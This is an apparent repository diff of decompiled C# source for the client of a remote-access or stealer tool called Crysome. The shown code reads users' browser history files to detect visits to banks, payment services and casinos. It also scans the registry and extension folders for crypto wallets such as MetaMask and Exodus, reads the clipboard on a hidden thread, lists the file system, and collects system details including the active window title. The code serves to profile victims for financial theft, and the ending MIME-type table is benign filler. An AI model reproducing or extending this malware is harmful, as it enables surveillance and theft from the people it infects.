return "{\"enabledAppIds\":[\"chrome\",\"firefox\",\"edge\",\"discord\",\"steam\",\"telegram\",\"vscode\",\"notepad_plus_plus\",\"vlc\",\"python\",\"brave\",\"opera\",\"zoom\",\"slack\",\"whatsapp\",\"metamask\",\"exodus\",\"atomic\",\"electrum\"],\"customPaths\":[],\"enabledBankIds\":[\"chase\",\"bankofamerica\",\"wellsfargo\",\"paypal\",\"coinbase_bank\",\"binance\",\"kraken\",\"robinhood\",\"venmo\",\"cashapp\",\"usbank\",\"capitalone\",\"citibank\"],\"enabledCasinoIds\":[\"bet365\",\"draftkings\",\"fanduel\",\"caesars\",\"betmgm\",\"pokerstars\",\"888casino\",\"betonline\",\"bovada\",\"ignitioncasino\",\"betway\",\"1xbet\",\"22bet\",\"bet9ja\",\"betano\",\"betsson\",\"casumo\",\"leovegas\",\"william_hill\",\"unibet\",\"betfair\",\"partycasino\",\"spin_casino\",\"jackpot_city\",\"ruby_fortune\",\"lucky_nugget\"]}";
}
private static string BuildAppsJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_0033: Unknown result type (might be due to invalid IL or missing references)
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
//IL_003c: Unknown result type (might be due to invalid IL or missing references)
//IL_0041: Unknown result type (might be due to invalid IL or missing references)
//IL_00c6: Unknown result type (might be due to invalid IL or missing references)
//IL_00cb: Unknown result type (might be due to invalid IL or missing references)
//IL_00cf: Unknown result type (might be due to invalid IL or missing references)
//IL_00d4: Unknown result type (might be due to invalid IL or missing references)
//IL_0047: Unknown result type (might be due to invalid IL or missing references)
//IL_004c: Unknown result type (might be due to invalid IL or missing references)
//IL_00dd: Unknown result type (might be due to invalid IL or missing references)
//IL_00e2: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
JsonElement.ArrayEnumerator val3;
JsonElement.ArrayEnumerator enumerator;
if (rootElement.TryGetProperty("enabledAppIds", out val2))
{
val3 = val2.EnumerateArray();
enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text = current.GetString();
if (!string.IsNullOrWhiteSpace(text))
{
text = text.Trim();
list.Add(new Dictionary<string, object>
{
{ "id", text },
{
"present",
DetectApp(text)
}
});
}
}
}
finally
{
enumerator.Dispose();
}
}
JsonElement val4 = default(JsonElement);
if (rootElement.TryGetProperty("customPaths", out val4))
{
val3 = val4.EnumerateArray();
enumerator = val3.GetEnumerator();
try
{
JsonElement val5 = default(JsonElement);
JsonElement val6 = default(JsonElement);
while (enumerator.MoveNext())
{
JsonElement current2 = enumerator.Current;
string text2 = (current2.TryGetProperty("path", out val5) ? val5.GetString() : null);
string text3 = (current2.TryGetProperty("label", out val6) ? val6.GetString() : "path");
if (!string.IsNullOrWhiteSpace(text2))
{
if (string.IsNullOrWhiteSpace(text3))
{
text3 = "path";
}
string value = "custom:" + text3.Replace(' ', '_');
string path = Environment.ExpandEnvironmentVariables(text2.Trim());
list.Add(new Dictionary<string, object>
{
{ "id", value },
{
"present",
File.Exists(path) || Directory.Exists(path)
},
{ "detail", text2 }
});
}
}
}
finally
{
enumerator.Dispose();
}
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static string BuildBankJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_0067: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
if (!rootElement.TryGetProperty("enabledBankIds", out val2))
{
return "{\"items\":[]}";
}
byte[] array = ReadBrowserHistoryBytes();
string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : "");
JsonElement.ArrayEnumerator val3 =val2.EnumerateArray();
JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text2 = current.GetString();
if (string.IsNullOrWhiteSpace(text2))
{
continue;
}
text2 = text2.Trim();
if (!BankUrlPatterns.TryGetValue(text2, out var value))
{
continue;
}
bool flag = false;
string[] array2 = value;
foreach (string value2 in array2)
{
if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0)
{
flag = true;
break;
}
}
list.Add(new Dictionary<string, object>
{
{ "id", text2 },
{ "present", flag }
});
}
}
finally
{
enumerator.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static string BuildCasinoJson(string rulesJson)
{
//IL_0009: Unknown result type (might be due to invalid IL or missing references)
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
//IL_0018: Unknown result type (might be due to invalid IL or missing references)
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
//IL_005e: Unknown result type (might be due to invalid IL or missing references)
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
//IL_0067: Unknown result type (might be due to invalid IL or missing references)
//IL_006c: Unknown result type (might be due to invalid IL or missing references)
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
//IL_007a: Unknown result type (might be due to invalid IL or missing references)
List<Dictionary<string, object>> list = new List<Dictionary<string, object>>();
try
{
JsonDocument val = JsonDocument.Parse(rulesJson, default(JsonDocumentOptions));
try
{
JsonElement rootElement = val.RootElement;
JsonElement val2 = default(JsonElement);
if (!rootElement.TryGetProperty("enabledCasinoIds", out val2))
{
return "{\"items\":[]}";
}
byte[] array = ReadBrowserHistoryBytes();
string text = ((array != null && array.Length != 0) ? Encoding.ASCII.GetString(array) : "");
JsonElement.ArrayEnumerator val3 =val2.EnumerateArray();
JsonElement.ArrayEnumerator enumerator = val3.GetEnumerator();
try
{
while (enumerator.MoveNext())
{
JsonElement current = enumerator.Current;
string text2 = current.GetString();
if (string.IsNullOrWhiteSpace(text2))
{
continue;
}
text2 = text2.Trim();
if (!CasinoUrlPatterns.TryGetValue(text2, out var value))
{
continue;
}
bool flag = false;
string[] array2 = value;
foreach (string value2 in array2)
{
if (text.IndexOf(value2, StringComparison.OrdinalIgnoreCase) >= 0)
{
flag = true;
break;
}
}
list.Add(new Dictionary<string, object>
{
{ "id", text2 },
{ "present", flag }
});
}
}
finally
{
enumerator.Dispose();
}
}
finally
{
((IDisposable)val)?.Dispose();
}
}
catch
{
}
return JsonSerializer.Serialize<Dictionary<string, object>>(new Dictionary<string, object> { { "items", list } }, (JsonSerializerOptions)null);
}
private static byte[] ReadBrowserHistoryBytes()
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string[] obj = new string[5]
{
Path.Combine(folderPath, "Google\\Chrome\\User Data\\Default\\History"),
Path.Combine(folderPath, "Microsoft\\Edge\\User Data\\Default\\History"),
Path.Combine(folderPath2, "Mozilla\\Firefox\\Profiles"),
Path.Combine(folderPath, "BraveSoftware\\Brave-Browser\\User Data\\Default\\History"),
Path.Combine(folderPath2, "Opera Software\\Opera Stable\\History")
};
List<byte> list = new List<byte>();
string[] array = obj;
foreach (string text in array)
{
try
{
if (text.EndsWith("Profiles", StringComparison.OrdinalIgnoreCase) && Directory.Exists(text))
{
string[] directories = Directory.GetDirectories(text);
for (int j = 0; j < directories.Length; j++)
{
TryAppendFileBytes(Path.Combine(directories[j], "places.sqlite"), list);
}
continue;
}
TryAppendFileBytes(text, list);
}
catch
{
}
if (list.Count >= 4194304)
{
break;
}
}
if (list.Count <= 0)
{
return null;
}
return list.ToArray();
}
private static void TryAppendFileBytes(string path, List<byte> dest)
{
if (!File.Exists(path))
{
return;
}
string text = Path.Combine(Path.GetTempPath(), "csm_bh_" + Guid.NewGuid().ToString("N") + ".tmp");
try
{
File.Copy(path, text, overwrite: true);
byte[] array = File.ReadAllBytes(text);
int num = Math.Min(array.Length, 4194304 - dest.Count);
if (num > 0)
{
dest.AddRange(array.Take(num));
}
}
finally
{
try
{
File.Delete(text);
}
catch
{
}
}
}
private static bool DetectApp(string id)
{
if (id.Equals("metamask", StringComparison.OrdinalIgnoreCase))
{
string[] metaMaskExtensionPaths = MetaMaskExtensionPaths;
for (int i = 0; i < metaMaskExtensionPaths.Length; i++)
{
if (Directory.Exists(metaMaskExtensionPaths[i]))
{
return true;
}
}
return false;
}
if (AppKeywords.TryGetValue(id, out var value) && value != null)
{
string[] metaMaskExtensionPaths = value;
for (int i = 0; i < metaMaskExtensionPaths.Length; i++)
{
if (RegistryDisplayNameContains(metaMaskExtensionPaths[i]))
{
return true;
}
}
}
if (AppFilePaths.TryGetValue(id, out var value2) && value2 != null)
{
string[] metaMaskExtensionPaths = value2;
foreach (string text in metaMaskExtensionPaths)
{
if (text.IndexOf('*') < 0 && File.Exists(Environment.ExpandEnvironmentVariables(text)))
{
return true;
}
}
}
return false;
}
private static bool RegistryDisplayNameContains(string needle)
{
needle = (needle ?? "").ToLowerInvariant();
if (needle.Length == 0)
{
return false;
}
if (_registryDisplayNames == null)
{
_registryDisplayNames = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase);
var array = new[]
{
new
{
Hive = Registry.LocalMachine,
Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
},
new
{
Hive = Registry.LocalMachine,
Sub = "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
},
new
{
Hive = Registry.CurrentUser,
Sub = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
}
};
foreach (var anon in array)
{
try
{
using RegistryKey registryKey = anon.Hive.OpenSubKey(anon.Sub);
if (registryKey == null)
{
continue;
}
string[] subKeyNames = registryKey.GetSubKeyNames();
foreach (string text in subKeyNames)
{
try
{
using RegistryKey registryKey2 = registryKey.OpenSubKey(text);
if (registryKey2?.GetValue("DisplayName") is string text2)
{
_registryDisplayNames[text + "|" + anon.Sub] = text2.ToLowerInvariant();
}
}
catch
{
}
}
}
catch
{
}
}
}
foreach (KeyValuePair<string, string> registryDisplayName in _registryDisplayNames)
{
if (registryDisplayName.Value.IndexOf(needle, StringComparison.Ordinal) >= 0)
{
return true;
}
}
return false;
}
}
Crysome.Client/Crysome.Client.Network/PacketChannel.cs
+37
View File
@@ -0,0 +1,37 @@
using System;
using System.Collections.Generic;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
namespace Crysome.Client.Network;
public class PacketChannel
{
public readonly Dictionary<Type, Action<CrysomeClient, IPacket>> Handlers;
public PacketChannel()
{
Handlers = new Dictionary<Type, Action<CrysomeClient, IPacket>>();
}
public void HandlePacket(CrysomeClient client, IPacket packet)
{
foreach (KeyValuePair<Type, Action<CrysomeClient, IPacket>> handler in Handlers)
{
if (handler.Key.Equals(((object)packet).GetType()))
{
handler.Value(client, packet);
break;
}
}
}
public void RegisterHandler<TPacket>(Action<CrysomeClient, IPacket> handler)
{
if (Handlers.ContainsKey(typeof(TPacket)))
{
Handlers.Remove(typeof(TPacket));
}
Handlers.Add(typeof(TPacket), handler);
}
}
Crysome.Client/Crysome.Client.SystemInfo/FileExplorer.cs
+56
View File
@@ -0,0 +1,56 @@
using System.Collections.Generic;
using System.IO;
using Crysome.Common.Model;
namespace Crysome.Client.SystemInfo;
public static class FileExplorer
{
public static FileSystemEntry[] GetDirectories(string path)
{
//IL_003f: Unknown result type (might be due to invalid IL or missing references)
//IL_0049: Expected O, but got Unknown
List<FileSystemEntry> list = new List<FileSystemEntry>();
try
{
foreach (DirectoryInfo item in new DirectoryInfo(path).EnumerateDirectories())
{
try
{
list.Add(new FileSystemEntry(item.Name, item.FullName, 0L, (FileType)0, item.LastWriteTimeUtc.Ticks, (byte[])null));
}
catch
{
}
}
}
catch
{
}
return list.ToArray();
}
public static FileSystemEntry[] GetFiles(string path)
{
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
//IL_004d: Expected O, but got Unknown
List<FileSystemEntry> list = new List<FileSystemEntry>();
try
{
foreach (FileInfo item in new DirectoryInfo(path).EnumerateFiles())
{
try
{
list.Add(new FileSystemEntry(item.Name, item.FullName, item.Length, (FileType)1, item.LastWriteTimeUtc.Ticks, (byte[])null));
}
catch
{
}
}
}
catch
{
}
return list.ToArray();
}
}
Crysome.Client/Crysome.Client.SystemInfo/SystemInformation.cs
+229
View File
@@ -0,0 +1,229 @@
using System;
using System.Globalization;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;
namespace Crysome.Client.SystemInfo;
public class SystemInformation
{
private struct OSVERSIONINFOEX
{
public uint dwOSVersionInfoSize;
public uint dwMajorVersion;
public uint dwMinorVersion;
public uint dwBuildNumber;
public uint dwPlatformId;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string szCSDVersion;
public ushort wServicePackMajor;
public ushort wServicePackMinor;
public ushort wSuiteMask;
public byte wProductType;
public byte wReserved;
}
public string UserName { get; set; }
public string ComputerName { get; set; }
public string OperatingSystem { get; set; }
public string ActiveWindowTitle { get; set; }
public string Uptime { get; set; }
public string CountryCode { get; set; }
public string GPU { get; set; }
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("ntdll.dll")]
private static extern int RtlGetVersion(ref OSVERSIONINFOEX versionInfo);
public static SystemInformation Get()
{
return new SystemInformation
{
UserName = Environment.UserName,
ComputerName = Environment.MachineName,
OperatingSystem = GetOSVersion(),
ActiveWindowTitle = GetActiveWindow(),
Uptime = GetUptime(),
CountryCode = GetCountryCode(),
GPU = GetGPU()
};
}
private static string GetGPU()
{
try
{
using ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_VideoController");
using ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator();
if (managementObjectEnumerator.MoveNext())
{
return ((ManagementObject)managementObjectEnumerator.Current)["Name"]?.ToString() ?? "N/A";
}
}
catch
{
}
return "N/A";
}
private static string GetActiveWindow()
{
try
{
IntPtr foregroundWindow = GetForegroundWindow();
if (foregroundWindow == IntPtr.Zero)
{
return "N/A";
}
StringBuilder stringBuilder = new StringBuilder(256);
GetWindowText(foregroundWindow, stringBuilder, 256);
string text = stringBuilder.ToString();
return string.IsNullOrEmpty(text) ? "N/A" : text;
}
catch
{
return "N/A";
}
}
private static string GetUptime()
{
try
{
TimeSpan timeSpan = TimeSpan.FromMilliseconds(Environment.TickCount & 0x7FFFFFFF);
return $"{(int)timeSpan.TotalDays}d {timeSpan.Hours}h {timeSpan.Minutes}m {timeSpan.Seconds}s";
}
catch
{
return "N/A";
}
}
private static string GetCountryCode()
{
try
{
return RegionInfo.CurrentRegion.TwoLetterISORegionName;
}
catch
{
return "US";
}
}
private static string GetOSVersion()
{
try
{
OSVERSIONINFOEX versionInfo = new OSVERSIONINFOEX
{
dwOSVersionInfoSize = (uint)Marshal.SizeOf(typeof(OSVERSIONINFOEX))
};
if (RtlGetVersion(ref versionInfo) == 0)
{
string text = BuildToOSName(versionInfo.dwBuildNumber);
if (!string.IsNullOrEmpty(text))
{
string displayVersion = GetDisplayVersion();
if (!string.IsNullOrEmpty(displayVersion))
{
text = text + " " + displayVersion;
}
return text;
}
}
}
catch
{
}
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
if (registryKey != null)
{
string text2 = registryKey.GetValue("ProductName", "")?.ToString() ?? "";
if (int.TryParse(registryKey.GetValue("CurrentBuildNumber", "")?.ToString() ?? "", out var result) && result >= 22000 && text2.Contains("Windows 10"))
{
text2 = text2.Replace("Windows 10", "Windows 11");
}
if (!string.IsNullOrEmpty(text2))
{
return text2;
}
}
}
catch
{
}
return "Windows";
}
private static string GetDisplayVersion()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
return registryKey?.GetValue("DisplayVersion", "")?.ToString() ?? "";
}
catch
{
return "";
}
}
private static string BuildToOSName(uint build)
{
if (build >= 22000)
{
return "Windows 11";
}
if (build >= 10240)
{
return "Windows 10";
}
if (build >= 9600)
{
return "Windows 8.1";
}
if (build >= 9200)
{
return "Windows 8";
}
if (build >= 7600)
{
return "Windows 7";
}
if (build >= 6000)
{
return "Windows Vista";
}
if (build >= 2600)
{
return "Windows XP";
}
return "";
}
}
Crysome.Client/Crysome.Client.Util/ClipboardSta.cs
+74
View File
@@ -0,0 +1,74 @@
using System;
using System.Collections.Concurrent;
using System.Threading;
using System.Windows.Forms;
namespace Crysome.Client.Util;
internal static class ClipboardSta
{
private static readonly BlockingCollection<Action> Queue;
private static readonly Thread Thread;
static ClipboardSta()
{
Queue = new BlockingCollection<Action>();
Thread = new Thread(Worker)
{
IsBackground = true,
Name = "CryClip"
};
Thread.SetApartmentState(ApartmentState.STA);
Thread.Start();
}
private static void Worker()
{
foreach (Action item in Queue.GetConsumingEnumerable())
{
try
{
item();
}
catch
{
}
}
}
public static string GetTextTruncated(int maxChars)
{
string[] box = new string[1];
ManualResetEventSlim done = new ManualResetEventSlim(initialState: false);
Queue.Add(delegate
{
try
{
if (Clipboard.ContainsText())
{
string text = Clipboard.GetText() ?? "";
if (text.Length > maxChars)
{
text = text.Substring(0, maxChars) + "…";
}
box[0] = text;
}
else
{
box[0] = "";
}
}
catch
{
box[0] = "";
}
finally
{
done.Set();
}
});
done.Wait(3000);
return box[0] ?? "";
}
}
Crysome.Client/Crysome.Client.Util/ShellSmallIconPng.cs
+90
View File
@@ -0,0 +1,90 @@
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
namespace Crysome.Client.Util;
internal static class ShellSmallIconPng
{
private struct SHFILEINFO
{
public IntPtr hIcon;
public int iIcon;
public uint dwAttributes;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string szDisplayName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 80)]
public string szTypeName;
}
private const uint SHGFI_ICON = 256u;
private const uint SHGFI_SMALLICON = 1u;
private const uint SHGFI_USEFILEATTRIBUTES = 16u;
private const uint FILE_ATTRIBUTE_DIRECTORY = 16u;
[DllImport("shell32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr SHGetFileInfo(string pszPath, uint dwFileAttributes, ref SHFILEINFO psfi, uint cbFileInfo, uint uFlags);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern bool DestroyIcon(IntPtr hIcon);
public static byte[] TryGetPng(string fullPath, bool isDirectory)
{
if (string.IsNullOrEmpty(fullPath))
{
return null;
}
try
{
if (!isDirectory && File.Exists(fullPath))
{
using (Icon icon = Icon.ExtractAssociatedIcon(fullPath))
{
if (icon == null)
{
return null;
}
return IconToPng(icon);
}
}
SHFILEINFO psfi = default(SHFILEINFO);
uint dwFileAttributes = (isDirectory ? 16u : 0u);
if (SHGetFileInfo(fullPath, dwFileAttributes, ref psfi, (uint)Marshal.SizeOf<SHFILEINFO>(), 273u) == IntPtr.Zero || psfi.hIcon == IntPtr.Zero)
{
return null;
}
IntPtr hIcon = psfi.hIcon;
try
{
using Icon icon2 = Icon.FromHandle(hIcon);
using Icon ico = (Icon)icon2.Clone();
return IconToPng(ico);
}
finally
{
DestroyIcon(hIcon);
}
}
catch
{
return null;
}
}
private static byte[] IconToPng(Icon ico)
{
using Bitmap bitmap = ico.ToBitmap();
using MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
return memoryStream.ToArray();
}
}
Crysome.Client/Crysome.Client.Web/MimeTypeMap.cs
+721
View File
@@ -0,0 +1,721 @@
using System;
using System.Collections.Generic;
using System.Linq;
namespace Crysome.Client.Web;
public static class MimeTypeMap
{
private static readonly Lazy<IDictionary<string, string>> mappings = new Lazy<IDictionary<string, string>>(BuildMappings);
private static IDictionary<string, string> BuildMappings()
{
Dictionary<string, string> dictionary = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
{
{ ".323", "text/h323" },
{ ".3g2", "video/3gpp2" },
{ ".3gp", "video/3gpp" },
{ ".3gp2", "video/3gpp2" },
{ ".3gpp", "video/3gpp" },
{ ".7z", "application/x-7z-compressed" },
{ ".aa", "audio/audible" },
{ ".AAC", "audio/aac" },
{ ".aaf", "application/octet-stream" },
{ ".aax", "audio/vnd.audible.aax" },
{ ".ac3", "audio/ac3" },
{ ".aca", "application/octet-stream" },
{ ".accda", "application/msaccess.addin" },
{ ".accdb", "application/msaccess" },
{ ".accdc", "application/msaccess.cab" },
{ ".accde", "application/msaccess" },
{ ".accdr", "application/msaccess.runtime" },
{ ".accdt", "application/msaccess" },
{ ".accdw", "application/msaccess.webapplication" },
{ ".accft", "application/msaccess.ftemplate" },
{ ".acx", "application/internet-property-stream" },
{ ".AddIn", "text/xml" },
{ ".ade", "application/msaccess" },
{ ".adobebridge", "application/x-bridge-url" },
{ ".adp", "application/msaccess" },
{ ".ADT", "audio/vnd.dlna.adts" },
{ ".ADTS", "audio/aac" },
{ ".afm", "application/octet-stream" },
{ ".ai", "application/postscript" },
{ ".aif", "audio/aiff" },
{ ".aifc", "audio/aiff" },
{ ".aiff", "audio/aiff" },
{ ".air", "application/vnd.adobe.air-application-installer-package+zip" },
{ ".amc", "application/mpeg" },
{ ".anx", "application/annodex" },
{ ".apk", "application/vnd.android.package-archive" },
{ ".application", "application/x-ms-application" },
{ ".art", "image/x-jg" },
{ ".asa", "application/xml" },
{ ".asax", "application/xml" },
{ ".ascx", "application/xml" },
{ ".asd", "application/octet-stream" },
{ ".asf", "video/x-ms-asf" },
{ ".ashx", "application/xml" },
{ ".asi", "application/octet-stream" },
{ ".asm", "text/plain" },
{ ".asmx", "application/xml" },
{ ".aspx", "application/xml" },
{ ".asr", "video/x-ms-asf" },
{ ".asx", "video/x-ms-asf" },
{ ".atom", "application/atom+xml" },
{ ".au", "audio/basic" },
{ ".avi", "video/x-msvideo" },
{ ".axa", "audio/annodex" },
{ ".axs", "application/olescript" },
{ ".axv", "video/annodex" },
{ ".bas", "text/plain" },
{ ".bcpio", "application/x-bcpio" },
{ ".bin", "application/octet-stream" },
{ ".bmp", "image/bmp" },
{ ".c", "text/plain" },
{ ".cab", "application/octet-stream" },
{ ".caf", "audio/x-caf" },
{ ".calx", "application/vnd.ms-office.calx" },
{ ".cat", "application/vnd.ms-pki.seccat" },
{ ".cc", "text/plain" },
{ ".cd", "text/plain" },
{ ".cdda", "audio/aiff" },
{ ".cdf", "application/x-cdf" },
{ ".cer", "application/x-x509-ca-cert" },
{ ".cfg", "text/plain" },
{ ".chm", "application/octet-stream" },
{ ".class", "application/x-java-applet" },
{ ".clp", "application/x-msclip" },
{ ".cmd", "text/plain" },
{ ".cmx", "image/x-cmx" },
{ ".cnf", "text/plain" },
{ ".cod", "image/cis-cod" },
{ ".config", "application/xml" },
{ ".contact", "text/x-ms-contact" },
{ ".coverage", "application/xml" },
{ ".cpio", "application/x-cpio" },
{ ".cpp", "text/plain" },
{ ".crd", "application/x-mscardfile" },
{ ".crl", "application/pkix-crl" },
{ ".crt", "application/x-x509-ca-cert" },
{ ".cs", "text/plain" },
{ ".csdproj", "text/plain" },
{ ".csh", "application/x-csh" },
{ ".csproj", "text/plain" },
{ ".css", "text/css" },
{ ".csv", "text/csv" },
{ ".cur", "application/octet-stream" },
{ ".cxx", "text/plain" },
{ ".dat", "application/octet-stream" },
{ ".datasource", "application/xml" },
{ ".dbproj", "text/plain" },
{ ".dcr", "application/x-director" },
{ ".def", "text/plain" },
{ ".deploy", "application/octet-stream" },
{ ".der", "application/x-x509-ca-cert" },
{ ".dgml", "application/xml" },
{ ".dib", "image/bmp" },
{ ".dif", "video/x-dv" },
{ ".dir", "application/x-director" },
{ ".disco", "text/xml" },
{ ".divx", "video/divx" },
{ ".dll", "application/x-msdownload" },
{ ".dll.config", "text/xml" },
{ ".dlm", "text/dlm" },
{ ".doc", "application/msword" },
{ ".docm", "application/vnd.ms-word.document.macroEnabled.12" },
{ ".docx", "application/vnd.openxmlformats-officedocument.wordprocessingml.document" },
{ ".dot", "application/msword" },
{ ".dotm", "application/vnd.ms-word.template.macroEnabled.12" },
{ ".dotx", "application/vnd.openxmlformats-officedocument.wordprocessingml.template" },
{ ".dsp", "application/octet-stream" },
{ ".dsw", "text/plain" },
{ ".dtd", "text/xml" },
{ ".dtsConfig", "text/xml" },
{ ".dv", "video/x-dv" },
{ ".dvi", "application/x-dvi" },
{ ".dwf", "drawing/x-dwf" },
{ ".dwg", "application/acad" },
{ ".dwp", "application/octet-stream" },
{ ".dxf", "application/x-dxf" },
{ ".dxr", "application/x-director" },
{ ".eml", "message/rfc822" },
{ ".emz", "application/octet-stream" },
{ ".eot", "application/vnd.ms-fontobject" },
{ ".eps", "application/postscript" },
{ ".etl", "application/etl" },
{ ".etx", "text/x-setext" },
{ ".evy", "application/envoy" },
{ ".exe", "application/octet-stream" },
{ ".exe.config", "text/xml" },
{ ".fdf", "application/vnd.fdf" },
{ ".fif", "application/fractals" },
{ ".filters", "application/xml" },
{ ".fla", "application/octet-stream" },
{ ".flac", "audio/flac" },
{ ".flr", "x-world/x-vrml" },
{ ".flv", "video/x-flv" },
{ ".fsscript", "application/fsharp-script" },
{ ".fsx", "application/fsharp-script" },
{ ".generictest", "application/xml" },
{ ".gif", "image/gif" },
{ ".gpx", "application/gpx+xml" },
{ ".group", "text/x-ms-group" },
{ ".gsm", "audio/x-gsm" },
{ ".gtar", "application/x-gtar" },
{ ".gz", "application/x-gzip" },
{ ".h", "text/plain" },
{ ".hdf", "application/x-hdf" },
{ ".hdml", "text/x-hdml" },
{ ".hhc", "application/x-oleobject" },
{ ".hhk", "application/octet-stream" },
{ ".hhp", "application/octet-stream" },
{ ".hlp", "application/winhlp" },
{ ".hpp", "text/plain" },
{ ".hqx", "application/mac-binhex40" },
{ ".hta", "application/hta" },
{ ".htc", "text/x-component" },
{ ".htm", "text/html" },
{ ".html", "text/html" },
{ ".htt", "text/webviewhtml" },
{ ".hxa", "application/xml" },
{ ".hxc", "application/xml" },
{ ".hxd", "application/octet-stream" },
{ ".hxe", "application/xml" },
{ ".hxf", "application/xml" },
{ ".hxh", "application/octet-stream" },
{ ".hxi", "application/octet-stream" },
{ ".hxk", "application/xml" },
{ ".hxq", "application/octet-stream" },
{ ".hxr", "application/octet-stream" },
{ ".hxs", "application/octet-stream" },
{ ".hxt", "text/html" },
{ ".hxv", "application/xml" },
{ ".hxw", "application/octet-stream" },
{ ".hxx", "text/plain" },
{ ".i", "text/plain" },
{ ".ico", "image/x-icon" },
{ ".ics", "application/octet-stream" },
{ ".idl", "text/plain" },
{ ".ief", "image/ief" },
{ ".iii", "application/x-iphone" },
{ ".inc", "text/plain" },
{ ".inf", "application/octet-stream" },
{ ".ini", "text/plain" },
{ ".inl", "text/plain" },
{ ".ins", "application/x-internet-signup" },
{ ".ipa", "application/x-itunes-ipa" },
{ ".ipg", "application/x-itunes-ipg" },
{ ".ipproj", "text/plain" },
{ ".ipsw", "application/x-itunes-ipsw" },
{ ".iqy", "text/x-ms-iqy" },
{ ".isp", "application/x-internet-signup" },
{ ".ite", "application/x-itunes-ite" },
{ ".itlp", "application/x-itunes-itlp" },
{ ".itms", "application/x-itunes-itms" },
{ ".itpc", "application/x-itunes-itpc" },
{ ".IVF", "video/x-ivf" },
{ ".jar", "application/java-archive" },
{ ".java", "application/octet-stream" },
{ ".jck", "application/liquidmotion" },
{ ".jcz", "application/liquidmotion" },
{ ".jfif", "image/pjpeg" },
{ ".jnlp", "application/x-java-jnlp-file" },
{ ".jpb", "application/octet-stream" },
{ ".jpe", "image/jpeg" },
{ ".jpeg", "image/jpeg" },
{ ".jpg", "image/jpeg" },
{ ".js", "application/javascript" },
{ ".json", "application/json" },
{ ".jsx", "text/jscript" },
{ ".jsxbin", "text/plain" },
{ ".latex", "application/x-latex" },
{ ".library-ms", "application/windows-library+xml" },
{ ".lit", "application/x-ms-reader" },
{ ".loadtest", "application/xml" },
{ ".lpk", "application/octet-stream" },
{ ".lsf", "video/x-la-asf" },
{ ".lst", "text/plain" },
{ ".lsx", "video/x-la-asf" },
{ ".lzh", "application/octet-stream" },
{ ".m13", "application/x-msmediaview" },
{ ".m14", "application/x-msmediaview" },
{ ".m1v", "video/mpeg" },
{ ".m2t", "video/vnd.dlna.mpeg-tts" },
{ ".m2ts", "video/vnd.dlna.mpeg-tts" },
{ ".m2v", "video/mpeg" },
